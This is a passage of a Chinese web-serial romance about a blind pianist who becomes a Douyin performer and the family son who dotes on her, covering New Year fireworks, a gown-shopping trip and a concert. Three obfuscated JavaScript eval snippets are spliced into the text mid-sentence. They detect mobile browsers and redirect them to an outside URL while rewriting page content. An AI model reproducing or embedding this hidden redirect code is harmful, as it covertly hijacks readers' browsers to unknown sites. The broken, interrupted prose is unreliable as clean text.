“行……”铃铛思索着,复盘迟嘉洋方才的种种神情与反应,总觉得他好像欺负过温惊竹,或者一直不把她当回事,所以看到她变化如此之大后一时很难以接受,甚至有点亏心——她当然知道温惊竹在被“改造”之前是什么样的,唯唯诺诺,哪怕看不见东西也总让人觉得眼神回避,就如同刚才迟嘉洋的局促。 “那,年后见!” 温惊竹点点头。 铃铛走了,她还思索着铃铛的问题。 ——为什么会问她和迟嘉洋之间是不是有过节?事实似乎是恰恰相反的。 —【第二年 1月29日除夕】— 除夕夜,迟父迟母将几位老人接到别墅来吃的年夜饭。偌大的液晶显示屏上播放着春晚,那些节目里的歌明明不同,却好像年年都是那调调似的。 一楼的大圆桌上,丰盛的菜肴有阿姨中午做的,有从饭店打包的,迟嘉洋和温惊竹坐在一起,两人却都觉得中间有一道壁,相互间一直没有说话。 是生疏了吧,温惊竹想。 该怎么开口呢?迟嘉洋想。 迟夫人早在摆上菜肴前就将各式吃的给温惊竹单独挑出来一份,装在一大盘里,现在放在她面前,她道一声:“谢谢阿姨。” 迟嘉洋瞥过去一眼,之前这份 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588704|171777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工作都是他来完成的。 长辈们你一言我一语地吃过了这顿饭,迟嘉乐还总是闹,大家即使转移注意力也都是转移到他身上,温惊竹和迟嘉洋都不怎么参与,只偶尔被提到时应付几声,其余时间就这么静静地坐着,两人间竟也有了点尴尬。 温惊竹还能闻到迟嘉洋身上的味道。 淡淡的,似有若无的,但就是能闻到。 或许是因为他衣服的面料,或许是因为经过了半年时间,多多少少有些微不同,但他的味道还是他的味道。 挨到快零点,大人们都在打麻将,温惊竹倚在沙发上听春晚,百无聊赖,迟嘉洋忽然靠到她身边来:“小竹子,你想去放烟花吗?” 温惊竹张了张嘴,没说出话。 如此熟悉的一个问句,好像将他们都拉回到曾经的那段时光。 看到温惊竹嘴角隐隐扯起个笑,迟嘉洋也笑了,虽然他的笑她看不见,他继续说:“早就和叶盛斌、刘晓栋他们约好了,走吧?” “好。” 迟嘉洋直接拉起温惊竹的手,但温惊竹几乎是在下一秒挣开。 “哦,不好意思。”迟嘉洋有些惭愧,“我有点习惯了。” 有了这样的意识,他手心后知后觉地渗出汗,于是攥着拳抹掉。 他想,他和温惊竹现在或许算是大人了?确实不适合这么拉拉扯扯,但之前他都习惯了直接拉着她四处走,那也不过是半年前的事,或许那时候……他并未平等地把她看作是一位异性,也就没有心里的那一层芥蒂吧。可现在她有了。 “那,”他不知怎么了,连带说话都有些喉咙干涩,“你扯着我袖口吧?” 天气寒冷,他穿了件深蓝色挺厚的卫衣,出门还要套上件宽大的黑色外套,于是他将左手收进袖子,特意留出段袖口任温惊竹牵着。出门前又是那样的灵光一闪,问她:“小竹子,你要不要穿你录视频时的礼服,外面再套件大羽绒服就不冷了——我有,去海边放烟花时给你拍点好看的照片怎么样?” “我……”温惊竹对拍照片实在没什么兴趣,但也有另外的拒绝理由,“录视频时的那些礼服都不在家,铃铛都带走了。” 迟嘉洋一愣:“为什么?” “因为都是租的呀。”她笑。 一件拍摄出来质感不菲的礼服式连衣裙怎样都不会便宜,何况铃铛给她定下的视频更新频率是隔天一更,要是每一件礼服都买下来实在破费,也没必要,往哪儿堆呢? 一看迟嘉洋就是挥霍惯了的,没有这方面省吃俭用的意识,他恍然大悟,带她继续往外走:“行,我明白了,那走吧。我和叶盛斌他们约好了,直接在海边会和,那我也给你拍几张照片吧?” “行。” 她对这事仍挺无所谓的。 别墅院里,她坐上迟嘉洋的野马,这辆车他很久没开了,他刚回国时还听他和迟夫人说怎么跑不动了,于是送到店里去大修了一番,此时启动键按下去又是一声动力十足的低咆,温惊竹靠在副驾驶位的靠背上,总有种错觉,好像迟嘉洋一脚油门下去他们就会回到过去似的。 那她心里愿意吗? 她竟也不太清楚了。 17. 风里风 海边放烟花的人很多,这里似乎成为了大家默认的烟花根据地。车也不少,可能这县城里不少青年都和迟嘉洋一样,觉得在家里守夜实在闷得慌。 迟嘉洋车慢慢开着,打了个电话,找到刘晓栋停在路边的那辆白色SUV,叶盛斌、刘晓栋、林侯和他女朋友共四人都在。 野马停在了白色SUV后面,叶盛斌就等着迟嘉洋下车来,打开后备箱,告诉他他们今天的“弹药”特别充足。 还不待他炫耀,迟嘉洋已经将自己想炫耀的带到他们面前了——“看看,这是谁?” 似曾相识的一句话,面前的人却完全变了:四人看着没有了刘海,黑直的长发更为蓬松、明显是做过了发型的温惊竹,还化了淡妆。但仔细看过便知道她的变化绝不只在外形上这么简单,而是整个人的气质,虽然她看不见,但她此时面对他们的神情是非常坦然和从容的,嘴角也勾着似有若无的笑,仿佛在说一个:嗨。 “小竹子?”叶盛斌最先开口。 她于是说出来:“嗨。” “小竹子,你这变化也太大了吧?”林侯笑道,他身边的白钰温温柔柔地附和:“是呀!” “不止如此,唉算了,不和你们说了。”迟嘉洋懒得多说,重新让温惊竹扯上他袖口,三两步来到那辆白色SUV车后,“烟花呢?” “有的是!”刘晓栋打开了后备箱,迟嘉洋竖起个大拇指:“牛逼。” 四人踩到沙滩上去放烟花,和人群融为一体。他们都喜欢那种俗称为“加特林”的火箭筒式的烟花,一人举着一筒,烟花在“通”、“通”、“通”一阵阵急促的闷响中飞上天空,“噼里啪啦”地接连不断地爆出炫目的颜色。 迟嘉洋却难得没了兴趣,和温惊竹站在几米之外。 明度很高的红、绿、黄三色交替映亮着两人的面颊及周围事物。安静之中,温惊竹似乎在通过那来自空际的噼啪声想象着此时头顶的盛况。 他又说:“小竹子,我现在给你拍照片吧?” “好。” 闲着也是闲着。 “那你在这里站好,转朝我,别动。” 温惊竹听从了,迟嘉洋退到她几米之外。 他和她相处最长的时间是在春夏,总看她穿裙子,都快忘了他们去年3月刚认识时、她在天冷时的样子,穿一条厚厚的鲨鱼裤,但即便如此她那两条腿仍显得细长,上身套一件毛茸茸的外套——她很喜欢全部是毛的外套,有好几件,或许是因为看不见,但摸上这样的面料就会感到特别温暖柔软,穿一双雪地靴。 今天温惊竹的外套颜色是纯白的,雪地靴也是。她站在那绚烂得一塌糊涂的天幕下,冷风将她一头长发卷成漫画里的形状。迟嘉洋从未给女生拍过照,但他硬着头皮拍了。 手心再次沁出汗,他突然觉得奇怪。 ——他拍出的这些照片又不会被温惊竹所“检阅”,因为她和其他女生压根不一样,她看不见。 那他在紧张什么? 他又为什么要拍这些照片? “……” 或许是因为天时地利人和,哪怕是迟嘉洋这样的拍照小白,仍自认为拍出了几张不错的照片:“好了。” 他回到温惊竹身边,划着相册里多出的那几排如出一辙的照片,删掉拍得模糊的、温惊竹闭眼的、背景中烟花不够密集的,剩下七张。 他有些茫然地看了看温惊竹,也不能说:你看看吧。或者:我传给你吧。 她看不见啊。 所以他再一次在心里质问自己:那你拍这些照片做什么呢,迟嘉洋?可他今天确确实实,是想给温惊竹拍一些照片的。 最后他自嘲地笑一声,将手机锁屏,让那些照片成为了相册里或许将一直保留下去的部分。 “小竹子,那边有个卖糖葫芦的摊子,我们去看看吧?” —【第二年1月30日至2月5日礼服】— 初一初二走了两天亲戚,迟嘉洋开始和海县的旧友们吃喝玩乐,根据地当然还是面剧。 娱乐活动也无非那么几项:打牌、打麻将……可每次出门前迟嘉洋都会踌躇半晌。 听着三楼时断时续的琴声,这几天铃铛又回来给温惊竹录视频了。连带着更换三楼的布局陈设,好不忙活。而温惊竹白天的钢琴课也没有断,因为程老师回海县过年,这几天都在给温惊竹上课,但这些都不是主要的。 对于现在的温惊竹,他实在不能自然而然地拉上她就走,说:“小竹子,我们去面剧。”“走,小竹子,陪我打牌去。”…… 迟嘉洋订的是初六回日本的机票。 他初三在面剧待得烦躁,初四也烦躁。 初四晚上,他、叶盛斌、仲晓雯和孟皓琦去台球厅的麻将室打麻将,叶盛斌坐在他左侧,孟皓琦在右侧。 他和孟皓琦初三那天就见面了,一群人一起在面剧打牌来着,可就是因为人太多太杂,注意力也都放在牌局上,一群人哇哇大叫的,孟皓琦虽然也坐在他右边,看着从日本回来的他很是新奇,却觉得都没能好好和他说上几句话,没有之前那股打情骂俏热火朝天的劲了。 此时在这比较私密的空间内,她兴冲冲地打量迟嘉洋。他去了日本半年也没太大变化,还是那个他,或许就是比以前更稳重少言了些,看上去心事重重的,不知道怎么回事。她丢出个三筒,笑话他:“怎么啦?咱洋哥有心事啦?是不是和日本的小女朋友分手了?” 实际迟嘉洋在日本谈没谈恋爱她根本不知道,只是如同以往的一个玩笑罢了。 迟嘉洋却不接话。 孟皓琦努了努嘴,叶盛斌接了她话:“得了,洋哥今非昔比,再说你怎么知道洋哥在日本谈女朋友了?咱洋哥从来就谈过吗?” 话毕,他和仲晓雯一阵爆笑。 “哎呀,真讨厌,人家就开个玩笑,你们怎么都这么认真啊?”孟皓琦也有点不高兴,但迟嘉洋始终没搭理,还是那么副沉浸在自己思绪里的样子。 没过一会儿,他开口了:“你们知不知道,小竹子现在开始当网红了?” “小竹子?谁?” 孟皓琦反应了半天:“哦——你说那个看不见的小女孩啊?她还住在你们家?”丢出个九筒。 “嗯……” “胡了!” 这局以孟皓琦点炮仲晓雯而结束,仲晓雯快乐地举起双手一声高呼,推倒牌,叶盛斌和孟皓琦探过脑袋检查了她牌,没什么问题,孟皓琦丢给她一张卡,仲晓雯收进面前匣子里,按下麻将机中间的红色按钮,金属圆台徐徐上升,露出一圈空洞洞的黑,几人一起将麻将往里面推。 “就这小屁胡也好意思胡?你也有出息?”孟皓琦瞪仲晓雯。 “略略略,那也是胡了啊!”仲晓雯做着鬼脸吐舌头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588705|171777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那样子真没谁了,孟皓琦好笑。 在这巨大的“哗啦哗啦”声中,叶盛斌察觉到迟嘉洋不悦,将话题引回来:“你刚才说什么?小竹子当网红了?” 孟皓琦也重复:“网红?什么网红?” 一个瞎子,或许拍的是什么搞怪卖惨的视频吧,她心里想。但叶盛斌最懂迟嘉洋心思,有他这句话引着,迟嘉洋立刻从前面的盒子里拿出手机:“那给你们看看啊。” 铃铛帮温惊竹运营的抖音账号上,她所说那条点赞最多、足有十万赞的视频被置了顶,视频里的背景和他刚回家时所撞见的三楼布景截然不同。 那条视频是在晚上拍的,以黑色为主,温惊竹穿的也是黑色亮闪闪的抹胸鱼尾长裙,随着她轻微的身体俯仰而时不时泛起一串剔透光泽。她露出两条白皙的手臂,落在琴键上的手曼妙纤长,不急不徐弹奏着一首《Haru Haru(一天一天)》,感情满溢,文案为:【想你,好想,超级想】。 这样带着极致致郁色彩的视频无疑引起了大批难免在感情上有过创伤的网友的共鸣,不少人以这段音乐为bgm发布自己的照片和视频,配上饱和度很低的自拍或风景照,感慨抒怀,也有人关注点在温惊竹本身:【小姐姐好漂亮,但是眼睛看不见吗?】【简介上写的盲人。】【看不出来啊?如果没记错的话,上一个造假凹人设的网红好像是进局子了吧……】 一打开温惊竹的抖音主页,迟嘉洋便完全陷进去了,没顾自动麻将机早已将另一副麻将排列整齐、缓缓托起,叶盛斌、仲晓雯和孟皓琦三人注视了他一会儿,面面相觑。 “哦,给你们看看。”迟嘉洋如梦初醒,将手机屏幕转向三人。 “叫什么啊?”孟皓琦和仲晓雯都凑上去看。 就叫【惊竹】。 “噢,我们搜搜……”两人都低下头去摆弄手机。 迟嘉洋立刻将手机转回来,开始打字,讨伐那些在评论区提出质疑的发言:【那你去报警好咯!看看是不是真的?】 那人秒回:【谁有那闲工夫?】 【那你就闭嘴。】 迟嘉洋直接点进对方主页,打开私信界面发出第一条消息,随时准备在对方回复后开始输出。 ——他那少爷脾气在网络上也体现得淋漓尽致的。 最终他决定了,不打麻将了,一拍桌子:“不好意思诸位,我得早点回家了,你们再叫个人来吧!我突然想起来我明天得去趟烟城。” “哈?” 他干脆利落地走了,留下三人大眼瞪小眼。 他们不敢明说,但眼神里都是:他最近是不是有什么问题? 迟嘉洋匆匆回到家,和迟夫人说了明天想带温惊竹去烟城的事。得知温惊竹明天有钢琴课,晚上倒不用录视频,他百般央求,又说明原委:“你每天给温惊竹安排这么多事,我难得从日本回来一趟,都没有和温惊竹一起好好玩过,温惊竹都快不认识我了,我后天就要走了,你就让温惊竹倒出一天时间来都不行?” “你就给程老师打个电话,说温惊竹明天不上课了。” 迟夫人冷冷地翻个白眼:“人家惊竹除了去年发过一次烧——噢,你不说我还忘了,那次还是被你给带出去玩浪的!除了那一次,人家可是一节钢琴课都没旷过!” “那就再请一天假呗。” “迟嘉洋,你怎么那么大脸?” 18. 风里风 “唉。”迟嘉洋幽幽地叹了口气,平静一些,“妈,我这不是看温惊竹当网红了,视频点赞量那么多,直接赢在了起跑线上,我也想帮帮忙。我带她去烟城挑几套礼服,让她亲自去试一试,录完视频再给人家寄回去就行,然后我们当晚就回来。” 真可谓动之以情晓之以理,什么话都被他给说尽了,迟夫人看了他一会儿,似乎也只能同意:“行,但我还是那句话:千万千万注意安全。” 迟嘉洋立即眉开眼笑:“行啊妈,都去过那么多回了,你看哪回出过问题?” “你啊你……” “那你快和程老师说一声吧,明天温惊竹的课不上了。” “嗯……”迟夫人按着太阳穴,拿起手机来打了一串字,“编辑好消息了,但等明天早上再发吧,这么晚了,人家程老师说不定睡觉了。” 迟嘉洋忽然俯下身,在她脸上亲了一口:“妈你真好!”弄得迟夫人大惊失色:“你干什么!”却在迟嘉洋夺门而出后笑了。 她一向没心没肺的儿子何曾有过这么亲昵的举动。 五分钟后,迟嘉洋敲响温惊竹卧室的门。 因为温惊竹在听小说,又是他敲了一会儿门才被打开的。但这次他没有半丝不悦——哪怕是隐忍的不悦,这画面怎么和去年他们最后一次去烟城时那么相像呢? 两人都对这一点有所察觉,迟嘉洋按捺着激动道:“小竹子,我们明天去一趟烟城吧?” “嗯?为什么?” “我已经和我妈说过了,去给你试礼服,她同意了。”他说,“你录视频的那些礼服都是铃铛从哪儿租的?” “网上。”温惊竹想了想,“海县没有合适的。” 迟嘉洋也清楚这点,这样的小县城哪儿哪儿都不行:“所以在网上租礼服有弊端,可能实物与图片不符,也可能不适合你,正好我明天没事做,所以我带你去烟城亲自试几套吧,对你以后录视频也有帮助。” 他连珠炮似的一串话并没有打动温惊竹,天知道他刚才在心里反复咕噜了多少遍,倒是提醒了她:“可是我明天有事情呢,得上钢琴课。” 她说这话时眼睛睁大,她那张小脸又是如此生动地与迟嘉洋近在咫尺,迟嘉洋差点脱口而出,要转移话题夸她一句“小竹子,你真好看”了,理智硬生生把他给掰回正轨:“哦,我自作主张,让我妈替你向程老师请了明天的假。” “……” 温惊竹面色立刻变了。 迟嘉洋顿时想起他老妈说的,温惊竹除了去年发烧从未请过假。 他立刻道歉:“对不起小竹子,你就原谅我一次吧!我后天就要回国了,我明天是真想和你一起去烟城。” 温惊竹神色才有所松动。 但也仅是有些松动而已,她答应得很勉强:“好吧,既然都已经请了假,那就去吧。” “嗯……” 迟嘉洋嘴在前面说,脑子在后面追,在温惊竹说一声“没事,明天见”、关了门后,他才觉得自己真像个舔狗。 可“明天见”那三个字真的很甜。 回房间后,他竟前所未有地失眠了。 回味着温惊竹方才面上的每一个表情、说出的每一句话,又想着明天的计划,他竟然前所未有地,失眠了。 次日是寒冬里一个难得的好天气,天上流淌着一层薄薄的金色太阳光。吃过早饭后,迟夫人送两人出门、上车,摇上车窗后,迟嘉洋立刻让26°的空调风吹得很猛,温惊竹才将裹紧的外套慢慢松开、脱下。 如此极端的温度,提醒她现在和去年夏天去烟城的经历完全不是那么一回事了。她面庞稍偏向车窗,还很清楚地记得最后一次去烟城的场景,她当时是多么地珍视那一次机会,还很可惜迟嘉洋说的以后去外地上大学、不然能经常带她去烟城玩的话,可之后的暑假那么漫长,他们只出去过一次,还是…… “是不是很像我们之前来烟城的时候?” 车载音乐中,迟嘉洋打断她思绪。 她笑笑。 “嗯。” “可惜我们今天晚上就要回来,因为我明天的航班,”迟嘉洋顿了顿,“我得回去收拾行李。” “好。” 小竹子,你好高冷啊,迟嘉洋想说,但又硬生生将这句话给按回心里,因为说出来似乎只会让两人尴尬。 他提前做了攻略,直接导航到烟城综合评价最高的礼服店,不过进了店后有些局促,因为这大厅里一水儿要结婚的人,正一桌一桌地对着宣传册挑选套餐。 店员笑眯眯地前来接待,看到两人如此年轻后也有些惊讶:“请问两位是……有预约吗?” 又注意到温惊竹始终牵着迟嘉洋的袖口,发现她是个盲人,于是店员再落到迟嘉洋身上的目光充满狐疑,看他衣冠楚楚的,模样也帅气,该不会是什么欺骗残疾女孩之类的变态吧……可他这样的外型条件有必要么? 再看温惊竹,确实惊为天人,店员于是也摸不准了,心理活动的内容拉满了,迟嘉洋似乎也注意到她神色疑惑,本不知该怎么说,这下干脆坦白:“是这样的,她是我妹妹,她眼睛看不见,但她在抖音上弹钢琴,算是个网红吧,我想带她来挑几套合适的裙子录视频用。” “哦哦,”店员恍然大悟,“那我们是准备买还是租呢?” “先试试看吧。” “好,请随我来。”向里走着,店员一秒切换为营业模式,“我们这里最不缺的就是礼裙了,除却婚宴仪式外,我们在这方面业务也非常完善,咱烟城比较出名的几位主持人,还有很多像小姐姐一样的网红都是我们这儿的主顾,毕竟现在从网上买衣服都不一定合适嘛……” 这店里的裙子果然多,在一个带试衣间的大房间中挂得满满,一看就知道要耗费很多时间来挑选。 迟嘉洋发现自己这会儿出奇有耐心,一件件看过,温惊竹跟在他身后,他遇到比较中意的就向温惊竹描述一番,让她摸摸,温惊竹还是有些不放心:“要不再问问铃铛吧。” “哈?” 愣了两秒,迟嘉洋反应过来了:“你是不相信我的审美吗?” “不……” 从来不撒谎的温惊竹甚至没勇气说出后面的那个“是”字。 “行,我懂了。”迟嘉洋故作失望地说,“但是我有个请求,至少先让我以我的审美挑出几套来再让铃铛过目吧?她要是pass掉哪套,我无话可说,今天可是我带你来这里试衣服的,小竹子,你得给我最起码的尊重。” 温惊竹笑了:“行。” 试衣服时有店员帮忙,温惊竹也不害羞了,因为她经常需要铃铛帮这样的忙。 她很耐心地试完了迟嘉洋挑选的一套套衣服,迟嘉洋依次给她拍下照片,说一会儿发给铃铛检阅。之后他通过温惊竹添加上铃铛微信,铃铛直接打视频电话过来:“欸,你们在实体店?迟大少爷,能不能再麻烦你带惊竹去挑一身婚纱,过了这村就没这店了,我正好策划一期婚纱主题的视频。” “哈?” 听了这要求,迟嘉洋莫名在视频通话的镜头前不安起来,脸隐隐有了愈加滚烫的趋势,说不定还会泛出红色……他心里暗叫不好,莫名很抵触挑选婚纱这件事,怕自己在这个过程中情绪不对,有什么心事会暴露无遗,铃铛在那边皱着眉叫了他一声:“迟大少爷?” “嗯……我看看吧。” “拜托啦,也是为了做视频呢。” 这话倒把迟嘉洋的心态拉回到“公事公办”上,方才的异样一扫而光,他说:“行,我先去婚纱那边看看吧,有不错的再一起拍照片给你。” “好。” “先挂了,你时刻关注微信消息。” 迟嘉洋同店员道明原委,又带温惊竹去试了几套婚纱。 他在等温惊竹换每一套婚纱出来的过程中都心潮难平,真有种要结婚了的错觉,温惊竹何尝不是。 如果说,从迟嘉洋昨晚邀请她来烟城,到为了避免不必要麻烦而直接对店员说“她是我妹妹”,她情绪都淡淡的,在换着这一套套婚纱的过程中,她也意识到这是一件多么富含深意的事,她浑身的血液都有点克制不住地沸腾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588706|171777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,让她整个人晕晕乎乎的,像一个没有感情的衣架,被店员拉进试衣间,再被拉出去…… 在与铃铛对接的过程中,两人都以“一切为了工作”的想法而让心绪平息。 “好了,付款吧。”迟嘉洋确定好最后的几套衣服,包括一条比较夸张的、裙摆很蓬的婚纱,店员和他商量,因为衣服太多,尤其是婚纱占面积大,干脆之后约一辆大车将衣服一起运到他们家,运费只收个最低的成本价,这些都由迟嘉洋去同他们细细商量了。 但迟嘉洋留了个私心,他买下其中一条他认为特别适合温惊竹的裙子:上身是修身的黑丝绒抹胸,从左侧腰际到右侧大腿处斜拼接上白色的层叠的纱,优雅又不呆板,最主要是,很符合温惊竹每天所弹的琴键的颜色,所以很适合她。 他只把这件事告诉了铃铛。 铃铛于是明白了:这位迟大少爷大概是喜欢温惊竹的。 可这喜欢的时间,大抵是从温惊竹改变后开始的。 否则1月28日他们见面那天,他看到温惊竹有很大变化后为什么是那样奇怪的反应? 两人忙得连午饭都没有吃,下午在烟城吃了顿大餐便返回海县,又应付着迟夫人吃了顿晚饭,虽然两人都吃不下了,顺便回答了迟夫人一些问题。一起上楼的时候,迟嘉洋问她:“小竹子,你明天还要上钢琴课吗?” 他声音很轻,问得很小心,温惊竹微蹙起眉,反应了半天才明白他话外的意思:小竹子,你明天还能去机场给我送行吗? “我不能再翘课了。”她说。 然后继续上楼。 “哦,好,”迟嘉洋目送她,头便随着她身影慢慢扬起,“那你之后穿我给你选的礼服拍视频,铃铛发到抖音上后,我会看的。” “好。”她脚步因此而慢了那么一拍,对着下面的他说,“我会穿的,谢谢你。” 迟嘉洋回到房间后,看着自己相册里又多出的那么多温惊竹的照片,有些无奈。 如果删除这些照片,它们就永远消失在这个世界上了;如果把它们发到温惊竹的手机上,她又看不见,有什么用,所以只能他先代替她保存了,他这么想。 第二天温惊竹随程老师上课,忽然听见院子里车辆启动的声音,这意味着迟父迟母要送迟嘉洋去机场了,这意味着他们又要远隔重洋了,这意味着…… 正弹得飞快的手指一顿,一连错了好几拍,心里也被惊一跳,再追拍子都追不上了。程老师仿佛知道她心中的秘密,什么都没有说,让她休息一会儿再弹,反而让她更加羞惭。 尽管已经尽了全力,在这结尾关头,她还是无法处理好自己的心事。 当晚铃铛来给她录视频,一一看过迟嘉洋给她挑的几套礼服,赞不绝口:“这实物竟然比照片里的还要好看,满满的细节,不像咱们在网上租的,恰恰相反,有的收到货了我都不知道和图片有什么关系,只好退回去了。” 铃铛笑,温惊竹也笑笑。 然后和铃铛说,能不能给她买一个带锁的笔记本。 铃铛虽然答应得痛快,但非要欠嘻嘻地调笑一句:“要开始记录自己的小秘密啦?” 温惊竹难得露出窘迫的神情,铃铛赶紧拍拍她:“好了好了,开玩笑的,我替你保密。等笔记本交到你手里后,我教你怎么设置密码,你自己设,我才不看呢。” “好。” 温惊竹有自己的写字方法,是曾经的家教老师教她的,她父母没有让她学盲文。 只是东西写出来后她总没有安全感,因为看不见,就总觉得很多东西都在她掌控范围之外,怕什么人随随便便找到她写的东西看了去,所以她才需要一个带锁的记事本。 设置好密码后,她用硬纸板在要写的一页纸下面垫着,每一笔画都重重的,与其说是写字不如说是在雕刻,而后她从写好的纸页反面触摸那些凸起,便可以知道自己写下的内容,虽然有点慢。 想了好久,才写下第一行:【3月8日天气晴】。 如果心事无处安放,那么记录下来,或许就能安心些吧。 19. 风里风 —【第三年 1月4日至1月5日立春与除夕】— 这是迟嘉洋出国后回来过的第二个年了。但他航班的最终目的地不是青城,而是南城。 因为除夕前夜,温惊竹被邀请来南城参加一场钢琴表演,作为其中的嘉宾之一。 她大概是其中最有特点的一位嘉宾了,主办方也是因为她抖音号而关注到她的,向她投递出邀请,一切由铃铛负责联络沟通。一开始铃铛还以为对方是骗子,主办方再三证明她才信,和迟夫人汇报后,迟夫人非常欣喜,也做出大胆的决定——今年除夕夜在南城过。 如今温惊竹受到的关注愈加广泛,知名度越来越高,目前在抖音上已经有十万多粉丝了。 尽管如此,日久天长,铃铛还是关注到这账号上有一位死忠粉,几乎每天都在乐此不疲地怼着各路不好的评论,甚至屡屡快她一步。而这些评论的主要内容就是质疑温惊竹的眼睛究竟是不是真看不见,她点进那账号主页后看见上方赫然标注的:【IP:日本】。 OK,她也算是为这对苦命鸳鸯保守着各自的秘密了。 为什么说是苦命鸳鸯呢? 因为想想这两个人就是不可能的。 死忠粉本粉下了飞机,在拖着行李箱路过每一面镜子或是反光玻璃时,都不禁要侧过目光去检查一下自己的仪容仪表。 他今天穿的白色衬衫,套了件休闲款的黑西装外套,外加一条休闲款领带,既不太过正式得可笑又不太过随意。与前来接机的爸妈会和后,三人坐上在南城租的奔驰轿车,共同前往音乐厅,迟夫人说:“没关系,有铃铛在现场协助惊竹,我们今晚只要去好好地欣赏就可以了。” “真不敢相信,惊竹转眼间就能在南城演出了,不过铃铛也确实挺有能耐的。”迟父边开车边评价道。 “喏。”迟夫人转身,向迟嘉洋递过钢琴表演的请柬。 “这么正式。” 迟嘉洋打量着手中做工精致的硬质卡片,首页还用烫金笔写了作为温惊竹家属、受到特别邀请的他的大名,他展开,里面是今晚将要表演的嘉宾及曲目,温惊竹排在中场休息之前,共演奏两首:贝多芬的《月光奏鸣曲》与李斯特的《钟》。 他不懂钢琴,便不懂将这两首曲子安排在一起的巧妙之处。一静一动,对比强烈。 他将这张请柬卡片翻来覆去地看,他的名字和温惊竹的一起出现在上面,让人感觉挺神奇。 来到现场入座,人很多,处处都彰显着高雅的艺术气息,让人下意识不敢高声说话。 在经过某几个人时,他还听见他们对着曲目单低低的议论:“听说这个惊竹是个盲人,真的假的?” “是的,她在抖音上很火,我今天也是想来看看……” 迟嘉洋嘴角没控制住地上翘,他真想过去插嘴道:那可不,我们家小竹子可是十分厉害的。表演还没开始,他就已经在心里想象一会儿温惊竹出场后他要怎么给她录像,然后发给叶盛斌、刘晓栋、仲晓雯、林候和白钰、孟皓琦……要不也给迟嘉乐看看吧,可怜他那亲弟弟被丢在海县了,总之一个都不能少。 因为是特别受邀嘉宾,三人的位置非常好,在中间靠前排。前几位嘉宾依次登台表演,迟嘉洋都快睡着了,看自己老爸老妈也是一副淡淡的样子,直到温惊竹出场—— 迟夫人上一次这样整个人面上焕发出光芒还是在迟嘉乐幼儿园毕业汇演时,她立刻举起手机开始全程录像,生怕放过温惊竹出场后的每一个细节。 温惊竹穿着迟嘉洋给她买的那套黑白色礼裙,施施然上场了。 她独自一人,经过了无数遍排练,准确地一步步走到钢琴边。迟嘉洋却没有拿出自己的手机。 幸好有他妈妈在,他想,有他妈妈录像就够了,之后可以将视频发到他手机上来,他实在不愿隔着一个手机屏幕来观看舞台上的温惊竹的一分一秒。可当温惊竹转朝台下、缓缓地鞠了一躬、全场掌声雷动时,他看她却不得不隔着眼中的一层水汽了,全模糊了。 他们已经近一年没见了。 但是真的不能落泪啊,迟嘉洋。 爸妈还在身边呢,多丢人? 所以这到底是为什么? 从小到大,他也知道自己的飞扬跋扈,他是个极其自私且没有心的人,可是这一刻,他的心却完全被温惊竹给牵动了。他原先所以为的高兴、骄傲的情绪,全然没有,却是一种想落泪的冲动。 温惊竹在钢琴前坐好了。 迟嘉洋想,当她得知自己替她买下了这身礼服时,会是什么样的想法和感受?但这身衣服的确和钢琴配极了,当初温惊竹穿它录抖音视频的时候是,现在亦是。 那双熟悉而好看的手架到了钢琴上,《月光奏鸣曲》开始了。 之前无论是哪位嘉宾弹奏什么样的曲子,迟嘉洋都听不进去。可现在温惊竹弹出的每一个音符,他都恨不得深深地刻进脑子里。 《月光奏鸣曲》的前两段都比较缓慢,第一段是一种娓娓道来的懒于启齿的伤感,第二段是一种被重新翻出的已然成为过去式的欢快,第三段则如同疾风暴雨,在一个人经过了极度压抑的悲伤、回忆往昔快乐的回光返照后,终于彻彻底底地疯狂了,所有的感情都释放了,爆发了,不计较任何后果了。 迟嘉洋还沉浸在《月光奏鸣曲》的情绪里,温惊竹已经开始弹奏下一曲——《钟》,纯粹的炫技之作,但也带入了她柔美细腻的感情,十指再次在琴键上不断重影,酣畅淋漓。 结束后掌声雷动。 那一晚回到酒店,迟嘉洋甚至不敢靠近温惊竹,也没什么机会,因为迟夫人与铃铛始终一左一右地伴随着她,叽叽喳喳的话怎么讲也讲不完。她今晚和铃铛共住一间双床房。 与两人道晚安后,迟嘉洋要回自己房间了,临分别时同自己老妈说:“妈,一会儿记得把你录的视频传给我,我忘录了。” “好。” 